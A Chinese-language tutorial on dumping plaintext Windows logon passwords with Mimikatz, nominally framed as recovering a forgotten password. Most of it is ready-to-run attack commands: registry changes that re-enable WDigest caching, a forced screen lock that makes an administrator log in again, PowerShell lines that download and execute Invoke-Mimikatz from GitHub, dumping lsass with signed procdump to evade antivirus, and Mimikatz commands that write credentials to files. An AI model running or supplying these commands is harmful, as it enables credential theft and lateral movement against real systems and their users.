windows获取明文密码的方法
有时候远程登陆工具把密码记住后过段时间自己不知道密码了,但能正常登陆操作系统,如何把密码找回来,方法这里一次说明白了。
主要使用工具: Mimikatz 获取
Mimikatz 是法国人 benjamin 开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能强大,能够直接读取 WindowsXP-2012(2016 做了安全防护,需要修改注册表值,重启后生效,可以获取明文密码)等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具,从早期 1.0 版本到现在的 2.1.1 20180205 版本,其功能得到了很大的提升和扩展。
Mimikatz 最新版本一共三个文件(mimilib.dll、mimikatz.exe、mimidrv.sys),分为 Win32 位(多了一个 mimilove.exe 文件)和 X64 位。通过它们可以提升进程权限、注入进程读取进程内存,可以直接从 Lsass 中获取当前登录过系统用户的账号明文密码。Lsass 是微软 Windows 系统的安全机制它主要用于本地安全和登录策略,通常我们在登录系统时输入密码之后,密码便会储存在 lsass 内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中,而 Mimikatz 正是通过对 Lsass 的逆算获取到明文密码!
QQ群:397745473
注意
关于 KB2871997:
在 KB2871997
之前, Mimikatz 可以直接抓取明文密码。
当服务器安装 KB2871997
补丁后,系统默认禁用 Wdigest Auth
,内存(lsass进程)不再保存明文口令。Mimikatz 将读不到密码明文。
但由于一些系统服务需要用到 Wdigest Auth
,所以该选项是可以手动开启的。
(开启后,需要用户重新登录才能生效)
以下是支持的系统:
- Windows 7
- Windows 8
- Windows 8.1
- Windows Server 2008
- Windows Server 2012
- Windows Server 2012R 2
工具
1 | 主要工具: |
开启转储方法
采用把lsass 转储的方式获取
否则不能显示密码
1 | 参考:https://jayl1n.github.io/2019/03/29/pentest-getpassword/ |
开启(任选一种执行后重启)
cmd
1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
powershell
1
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
meterpreter
1
reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1
让注册表修改后马上生效方法: 如果不行可以注消或者重启
1 | @echo off |
关闭(任选一种执行后重启)
cmd
1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
powershell
1
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
meterpreter
1
reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 0
强制锁屏
在开启 Wdigest Auth
后,需要管理员重新登录才能逮到明文密码。
我们可以强制锁屏,让管理员重新登录。
cmd
1
rundll32 user32.dll,LockWorkStation
powershell
1
powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/kiraly15/Lock-WorkStation/master/Lock-WorkStation.ps1');"
经测试 Win10企业版 仅锁屏读明文失败,需要注销才行,其它版本未知。
抓取明文
开启 Wdigest Auth
后,接下来就用常规的抓取明文的方式就行了。
Mimikatz
powershell
1
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz
exe
1
2privilege::debug
sekurlsa::logonpasswords
离线抓取
当 Mimikatz
被杀,可以先将 lsass
进程 dump
下来,在本地用 Mimikatz
读取。
Dump 进程
可以用微软提供的
procdump
,自带微软签名,可以过杀软。1
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
或者
直接打开任务管理器–>详细信息–>选中lsass.exe进程–>右键–>创建转储文件
Mimikatz 读取
1
2
3
4
5
6
7
8sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
mimikatz直接输出到文本:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" >pass.txt
mimikatz直接读取密码:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt
QQ群:397745473